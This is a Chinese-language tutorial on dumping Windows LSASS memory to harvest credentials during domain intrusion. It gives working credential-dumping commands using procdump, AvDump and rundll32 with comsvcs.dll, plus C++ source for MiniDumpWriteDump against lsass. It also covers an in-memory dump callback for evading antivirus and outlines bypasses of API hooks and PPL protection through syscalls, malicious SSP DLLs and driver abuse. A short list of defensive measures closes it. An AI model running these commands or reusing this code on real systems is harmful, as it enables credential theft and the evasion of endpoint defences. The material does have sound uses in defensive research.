域渗透-一文了解lsass内存转储攻防技术
字数 1397 2025-08-25 22:58:35
LSASS内存转储攻防技术详解
引言
LSASS(本地安全认证子系统服务)是Windows系统中负责安全认证的核心组件,存储着用户登录凭证(包括明文密码和哈希)。在域渗透中,转储LSASS内存是获取凭证的重要手段。随着攻防对抗升级,安全产品采用了内存保护、PPL(Protected Process Light)、杀dump文件、API hook等多种防御手段,传统内存转储技术已逐渐失效。
常规转储技术
1. Mimikatz直接提取
Mimikatz的logonpasswords模块通过以下步骤提取凭证:
- 获取SeDebug权限
- 打开LSASS进程,定位lsasrv.dll模块
- 在lsasrv.dll中搜索特定表达式(不同Windows版本表达式不同)
- 通过偏移量获取IV和AES/DES密钥指针
- 定位logon sessions并解析凭证信息
- 使用获取的密钥解密哈希
2. 白名单工具转储
利用系统自带或可信签名的工具转储LSASS内存:
Procdump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# 或克隆LSASS进程转储避免直接读取
procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
AvDump(Avast自带)
.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0
其他工具
- SQLDumper.exe
- rdleakdiag.exe
- adplus.exe
- rundll32调用comsvcs.dll
rundll32.exe C:\windows\System32\comsvcs.dll,MiniDump <pid> C:\temp\lsass.dmp full
3. 编程实现转储
C++实现
#include <windows.h>
#include <DbgHelp.h>
#include <TlHelp32.h>
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// 获取LSASS PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
lsassPID = processEntry.th32ProcessID;
}
}
// 打开LSASS进程句柄
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// 转储内存
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
return 0;
}
其他语言实现
- C#: 通过反射加载绕过检测
- PowerShell: 调用MiniDumpWriteDump API
- Nim: 编译为原生二进制
高级绕过技术
1. 杀转储文件绕过
使用MiniDump回调函数将结果保存在内存中加密:
BOOL CALLBACK minidumpCallback(PVOID callbackParam, const PMINIDUMP_CALLBACK_INPUT callbackInput, PMINIDUMP_CALLBACK_OUTPUT callbackOutput) {
switch (callbackInput->CallbackType) {
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
// 将dump数据保存到内存缓冲区
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
RtlCopyMemory(destination, source, callbackInput->Io.BufferBytes);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
}
return TRUE;
}
2. 绕过API Hook
安全产品通过用户模式API Hook拦截MiniDumpWriteDump调用:
- 使用直接系统调用(Syscall)绕过
- 使用崩溃法(LsassSilentProcessExit)
- 使用RPC+SSP技术
RPC+SSP技术
- 编写恶意SSP DLL实现内存转储
- 通过RPC调用AddSecurityPackage加载DLL
- LSASS自行加载DLL并执行转储代码
3. 绕过PPL保护
PPL(Protected Process Light)保护进程不被篡改和终止。
内核态绕过
- 使用签名的驱动修改_EPROCESS结构中的_PS_PROTECTION字段
- 使用EDRSandBlast等工具删除EDR内核回调
用户态绕过
- 从其他进程复制句柄:查找已打开LSASS句柄的进程(如防病毒软件),复制句柄
- PPLDump技术:
- 利用\Known DLLs机制实现DLL劫持
- 通过符号链接将恶意DLL映射到受保护进程
- 在services.exe等高级别进程中执行转储代码
防御检测建议
- 启用PPL保护:通过组策略配置LSASS为PPL保护
- 限制调试权限:严格控制SeDebugPrivilege分配
- 监控敏感API调用:特别是MiniDumpWriteDump
- 检测异常进程行为:如LSASS异常崩溃、内存读取
- 启用Credential Guard:使用虚拟化保护凭证
总结
LSASS内存转储技术已发展出多种绕过防御的方法,从最初的直接提取到现在的RPC+SSP、PPL绕过等高级技术。防御方需要采用多层次防护策略,包括PPL、Credential Guard、API Hook监控等。攻防对抗将持续升级,安全团队需保持对最新技术的跟踪和研究。